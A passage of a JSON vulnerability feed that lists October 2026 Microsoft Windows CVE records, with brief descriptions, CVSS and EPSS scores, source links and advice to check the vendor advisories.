2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69998&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69998, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69997","cveId":"CVE-2026-69997","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.793Z","updatedAt":"2026-10-19T13:00:46.133Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69997","asOf":"2026-10-19T13:00:46.133Z"},"epss":{"probability":0.00631,"percentile":0.49951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69997&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69997","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69997","type":"primary","publishedAt":"2026-10-13T19:19:10.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69997","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69997&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69997, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69996","cveId":"CVE-2026-69996","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.613Z","updatedAt":"2026-10-19T13:02:42.827Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69996","asOf":"2026-10-19T13:02:42.827Z"},"epss":{"probability":0.00631,"percentile":0.49952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69996&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69996","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69996","type":"primary","publishedAt":"2026-10-13T19:19:10.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69996","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69996&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69996, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69995","cveId":"CVE-2026-69995","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.437Z","updatedAt":"2026-10-19T13:05:38.310Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69995","asOf":"2026-10-19T13:05:38.310Z"},"epss":{"probability":0.00631,"percentile":0.49952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69995&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69995","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69995","type":"primary","publishedAt":"2026-10-13T19:19:10.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69995","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69995&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69995, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69994","cveId":"CVE-2026-69994","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.260Z","updatedAt":"2026-10-19T13:08:36.453Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69994","asOf":"2026-10-19T13:08:36.453Z"},"epss":{"probability":0.00631,"percentile":0.49953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69994&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69994","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69994","type":"primary","publishedAt":"2026-10-13T19:19:10.260Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69994","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69994&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69994, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69992","cveId":"CVE-2026-69992","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Remote Desktop Services allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:10.087Z","updatedAt":"2026-10-19T13:10:07.157Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69992","asOf":"2026-10-19T13:10:07.157Z"},"epss":{"probability":0.00631,"percentile":0.49952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69992&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69992","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69992","type":"primary","publishedAt":"2026-10-13T19:19:10.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69992","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69992&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69992, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69991","cveId":"CVE-2026-69991","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.910Z","updatedAt":"2026-10-19T13:17:13.363Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69991","asOf":"2026-10-19T13:17:13.363Z"},"epss":{"probability":0.00631,"percentile":0.49952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69991","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69991","type":"primary","publishedAt":"2026-10-13T19:19:09.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69991","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69985","cveId":"CVE-2026-69985","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Libarchive allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.217Z","updatedAt":"2026-10-26T17:24:28.470Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69985","asOf":"2026-10-26T17:24:28.470Z"},"epss":{"probability":0.00816,"percentile":0.56811,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69985&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69985","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69985","type":"primary","publishedAt":"2026-10-13T19:19:09.217Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69985","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69985&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69985, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69984","cveId":"CVE-2026-69984","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:09.030Z","updatedAt":"2026-10-26T17:25:37.933Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69984","asOf":"2026-10-26T17:25:37.933Z"},"epss":{"probability":0.00645,"percentile":0.50625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69984","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69984","type":"primary","publishedAt":"2026-10-13T19:19:09.030Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69984","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69977","cveId":"CVE-2026-69977","aliases":[],"kind":"vulnerability","title":"Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:08.420Z","updatedAt":"2026-10-26T17:31:35.270Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69977","asOf":"2026-10-26T17:31:35.270Z"},"epss":{"probability":0.00307,"percentile":0.23261,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69977&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69977","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69977","type":"primary","publishedAt":"2026-10-13T19:19:08.420Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69977","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69977&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69977, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69976","cveId":"CVE-2026-69976","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:08.240Z","updatedAt":"2026-10-26T17:33:52.667Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69976","asOf":"2026-10-26T17:33:52.667Z"},"epss":{"probability":0.00645,"percentile":0.50625,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69976","type":"primary","publishedAt":"2026-10-13T19:19:08.240Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69976","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69970","cveId":"CVE-2026-69970","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Microsoft Streaming Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:07.653Z","updatedAt":"2026-10-26T17:57:56.813Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 